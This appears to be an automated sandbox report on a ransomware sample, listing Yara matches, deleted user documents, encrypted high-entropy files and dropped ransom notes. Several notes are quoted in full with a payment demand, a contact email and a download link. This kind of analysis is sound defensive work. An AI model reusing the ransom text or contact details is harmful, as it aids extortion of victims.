Source: Yara match	File source: Process Memory Space: Z4CYGTBlj7.exe PID: 5144, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Z4CYGTBlj7.exe PID: 6392, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Z4CYGTBlj7.exe PID: 7136, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Z4CYGTBlj7.exe PID: 6600, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Z4CYGTBlj7.exe PID: 2724, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Z4CYGTBlj7.exe PID: 4408, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Z4CYGTBlj7.exe PID: 320, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Z4CYGTBlj7.exe PID: 5680, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Z4CYGTBlj7.exe PID: 3160, type: MEMORYSTR

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File moved: C:\Users\user\Desktop\EFOYFBOLXA\JDDHMPCDUJ.png	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File deleted: C:\Users\user\Desktop\EFOYFBOLXA\JDDHMPCDUJ.png	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File moved: C:\Users\user\Desktop\NVWZAPQSQL.pdf	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File deleted: C:\Users\user\Desktop\NVWZAPQSQL.pdf	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File moved: C:\Users\user\Desktop\EEGWXUHVUG.xlsx	Jump to behavior

Writes a notice file (html or txt) to demand a ransom

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File dropped: C:\_README.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.do not ask assistants from youtube and recovery data sites for help in recovering your data.they can use your free decryption quota and scam you.our contact is emails in this text document only.you can get and look video overview decrypt tool:https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27price of private key and decrypt software is $999.discount 50% available if you contact us first 72 hours, that's price for you is $499.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshingmail.topreserve e-mail address	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File dropped: C:\$WinREAgent\_README.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.do not ask assistants from youtube and recovery data sites for help in recovering your data.they can use your free decryption quota and scam you.our contact is emails in this text document only.you can get and look video overview decrypt tool:https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27price of private key and decrypt software is $999.discount 50% available if you contact us first 72 hours, that's price for you is $499.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshingmail.topreserve e-mail address	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt -> decryption settings;change encryption settings"}},{"system.parsingname":{"type":12,"value":"aaa_settingspagedevices.settingcontent-ms"},"system.setting.fontfamily":{"type":12,"value":"segoe mdl2 assets"},"system.setting.glyph":{"type":12,"value":""},"system.setting.pageid":{"type":12,"value":"settingspagedevices"},"system.comment":{"type":12,"value":"bluetooth and other devices settings"},"system.highkeywords":{"type":12,"value":"device;projector;projectors;pair bluetooth device;unpair device;pair device;bluetooth settings;add bluetooth device;add device"}},{"system.parsingname":{"type":12,"value":"aaa_settingspagedevicespen-2.settingcontent-ms"},"system.setting.fontfamily":{"type":12,"value":"segoe mdl2 assets"},"system.setting.glyph":{"type":12,"value":""},"system.setting.pageid":{"type":12,"value":"settingspagedevicespen"},"system.comment":{"type":12,"value":"pen and windows ink settings"},"system.highkeywords":{"type":12,"value":"pens;handedness;cursor;cursors;writing;write;workspace;pen shortcuts;h	Jump to dropped file
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	File dropped: C:\Users\user\AppData\Local\VirtualStore\_README.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.do not ask assistants from youtube and recovery data sites for help in recovering your data.they can use your free decryption quota and scam you.our contact is emails in this text document only.you can get and look video overview decrypt tool:https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27price of private key and decrypt software is $999.discount 50% available if you contact us first 72 hours, that's price for you is $499.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshingmail.topreserve e-mail address	Jump to dropped file
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	File dropped: C:\Users\user\_README.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.do not ask assistants from youtube and recovery data sites for help in recovering your data.they can use your free decryption quota and scam you.our contact is emails in this text document only.you can get and look video overview decrypt tool:https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27price of private key and decrypt software is $999.discount 50% available if you contact us first 72 hours, that's price for you is $499.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshingmail.topreserve e-mail address	Jump to dropped file

Writes many files with high entropy

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\B3D4LW1M\13\JClcsxanpxBiLGzKZtauWAccdA0.br[1].js entropy: 7.99529950752	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\1696426835647.a83301c6-790b-49f3-adc7-55a855f7fe79.main.jsonlz4 entropy: 7.99004898228	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\B3D4LW1M\13\uANxnX_BheDjd2-cdR8N9DEWlds[1].css entropy: 7.99238228472	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\eventpage_bin_prod.js entropy: 7.99787632191	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-checkout-eligible-sites-pre-stable.json entropy: 7.99856299169	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\super_coupon.json entropy: 7.991792354	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\eventpage_bin_prod.js entropy: 7.99799277775	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite entropy: 7.99590754615	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shm entropy: 7.99539641768	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite entropy: 7.99571318459	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm entropy: 7.99451220742	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite entropy: 7.9962493647	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-tokenization-config.json entropy: 7.99159906932	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shm entropy: 7.99422345091	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shm entropy: 7.99478168468	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite entropy: 7.99649432935	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite-shm entropy: 7.99458364197	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite entropy: 7.99549311097	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-shm entropy: 7.99326147434	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\flapper.gif entropy: 7.99730724855	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\256.png entropy: 7.99241564707	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\256.png entropy: 7.99303229893	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin entropy: 7.99761773791	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db entropy: 7.99705046325	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db entropy: 7.99262979282	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db entropy: 7.9920984976	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db entropy: 7.99143087798	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db entropy: 7.99381756887	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.3.db entropy: 7.99010189693	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\MSIMGSIZ.DAT entropy: 7.99568826466	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000012.db entropy: 7.99805926483	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db entropy: 7.99821701901	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db entropy: 7.99714774899	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db entropy: 7.99828513103	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl entropy: 7.99278458176	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409004157646270.txt entropy: 7.99823985708	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409003693874026.txt entropy: 7.99793776696	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409003495205506.txt entropy: 7.99818277963	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409000886124092.txt entropy: 7.99794643499	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409005089393222.txt entropy: 7.99839363231	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409004786866416.txt entropy: 7.99811577929	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409004610890001.txt entropy: 7.99822610846	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409021046094069.txt entropy: 7.9987562493	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409010467962588.txt entropy: 7.99853637114	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409009155626780.txt entropy: 7.9984318475	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409006446553451.txt entropy: 7.99852904919	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409006148184320.txt entropy: 7.99831446102	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409005953011714.txt entropy: 7.99855446927	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409005389384955.txt entropy: 7.99848267209	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409024089824579.txt entropy: 7.99846656953	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml entropy: 7.9970353908	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409023789902202.txt entropy: 7.99819578039	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409022763610746.txt entropy: 7.99847975071	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409021833987004.txt entropy: 7.99834247736	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133584268340709986.txt entropy: 7.99843275693	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133584268039583524.txt entropy: 7.99845080389	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409024501033688.txt entropy: 7.99845250143	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\ls-archive.sqlite entropy: 7.99852911193	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db entropy: 7.99365477317	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log entropy: 7.99717075304	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeEDrop\EdgeEDropSQLite.db entropy: 7.99418277535	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db entropy: 7.99142274488	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\EADPData Component\4.0.2.33\data.txt entropy: 7.99762168426	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\ar\strings.json entropy: 7.99075132412	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\fr\strings.json entropy: 7.99729319427	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\es\strings.json entropy: 7.99664553011	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\de\strings.json entropy: 7.99716805958	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\ar\strings.json entropy: 7.99761541948	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\en-GB\strings.json entropy: 7.99623646775	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\zh-Hant\strings.json entropy: 7.99641113851	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\zh-Hans\strings.json entropy: 7.99681096189	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\sv\strings.json entropy: 7.99745931551	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\ru\strings.json entropy: 7.9976744736	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\pt-PT\strings.json entropy: 7.997387568	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\pt-BR\strings.json entropy: 7.99700196172	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\nl\strings.json entropy: 7.9971750846	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\ja\strings.json entropy: 7.99755944089	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\it\strings.json entropy: 7.99698884718	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\id\strings.json entropy: 7.99701626677	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\fr-CA\strings.json entropy: 7.99657559303	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5959.0\edge_tracking_page_validator.js entropy: 7.99632977187	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_tracking_page_validator.js entropy: 7.99731294957	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\shopping_iframe_driver.js entropy: 7.99376357097	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-et.hyb entropy: 7.99140102239	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-es.hyb entropy: 7.99002667328	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-en-us.hyb entropy: 7.99731485704	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-en-gb.hyb entropy: 7.99581322666	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-de-ch-1901.hyb entropy: 7.99852236369	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-de-1996.hyb entropy: 7.99854447113	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-de-1901.hyb entropy: 7.99845759777	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-cy.hyb entropy: 7.99456956443	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-cu.hyb entropy: 7.99604789625	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.bgjs (copy) entropy: 7.99761773791	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.bgjs (copy) entropy: 7.99705046325	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.bgjs (copy) entropy: 7.99262979282	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officec2rclient.exe.db.bgjs (copy) entropy: 7.9920984976	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officeclicktorun.exe.db.bgjs (copy) entropy: 7.99143087798	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officesetup.exe.db.bgjs (copy) entropy: 7.99381756887	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\cversions.3.db.bgjs (copy) entropy: 7.99010189693	Jump to dropped file
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000012.db.bgjs (copy) entropy: 7.99805926483	Jump to dropped file
